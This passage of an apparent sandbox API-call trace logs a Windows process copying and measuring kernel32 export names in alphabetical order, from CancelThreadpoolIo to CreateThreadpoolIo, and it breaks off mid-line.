lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0085.836] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0085.837] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0085.837] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0085.837] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0085.837] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0085.837] lstrlenA (lpString="CHECKELEVATION") returned 14 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0085.837] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0085.837] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0085.837] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0085.837] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0085.837] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0085.837] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0085.837] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0085.837] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0085.837] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0085.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0085.837] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0085.838] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0085.838] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0085.838] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0085.838] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0085.838] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0085.838] lstrlenA (lpString="CLOSESTATE") returned 10 [0085.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0085.839] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0085.839] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0085.839] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0085.839] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0085.839] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0085.839] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0085.839] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0085.839] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0085.839] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0085.839] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0085.839] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0085.839] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0085.839] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0085.839] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0085.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0085.839] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0085.840] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0085.840] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0085.840] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0085.840] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0085.840] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0085.840] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0085.840] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0085.840] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0085.840] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0085.840] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0085.840] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0085.840] lstrlenA (lpString="COPYCONTEXT") returned 11 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0085.840] lstrlenA (lpString="COPYFILE2") returned 9 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0085.840] lstrlenA (lpString="COPYFILEA") returned 9 [0085.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0085.841] lstrlenA (lpString="COPYFILEEXA") returned 11 [0085.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0085.841] lstrlenA (lpString="COPYFILEEXW") returned 11 [0085.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0085.842] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0085.842] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0085.842] lstrlenA (lpString="COPYFILEW") returned 9 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0085.842] lstrlenA (lpString="COPYLZFILE") returned 10 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0085.842] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0085.842] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0085.842] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0085.842] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0085.842] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0085.842] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0085.842] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0085.842] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0085.842] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0085.842] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0085.842] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0085.842] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0085.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0085.843] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0085.843] lstrlenA (lpString="CREATEEVENTA") returned 12 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0085.843] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0085.843] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0085.843] lstrlenA (lpString="CREATEEVENTW") returned 12 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0085.843] lstrlenA (lpString="CREATEFIBER") returned 11 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0085.843] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0085.843] lstrlenA (lpString="CREATEFILE2") returned 11 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0085.843] lstrlenA (lpString="CREATEFILEA") returned 11 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0085.843] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0085.843] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0085.843] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0085.843] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0085.843] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0085.843] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0085.844] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0085.844] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0085.844] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0085.844] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0085.844] lstrlenA (lpString="CREATEFILEW") returned 11 [0085.844] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0085.844] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0085.844] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0085.844] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0085.844] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0085.844] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0085.845] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0085.845] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0085.845] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0085.845] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0085.845] lstrlenA (lpString="CREATEJOBSET") returned 12 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0085.845] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0085.845] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0085.845] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0085.845] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0085.845] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0085.845] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0085.845] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0085.845] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0085.845] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0085.845] lstrlenA (lpString="CREATEPIPE") returned 10 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0085.845] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0085.845] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0085.845] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0085.846] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0085.846] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0085.846] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0085.846] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0085.846] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0085.846] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0085.846] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0085.846] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0085.846] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0085.846] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0085.846] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0085.846] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0085.846] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0085.846] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0085.846] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0085.847] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0085.847] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0085.847] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0085.847] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0085.847] lstrlenA (lpString="CREATETHREAD") returned 12 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0085.847] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0085.847] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0085.847] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, 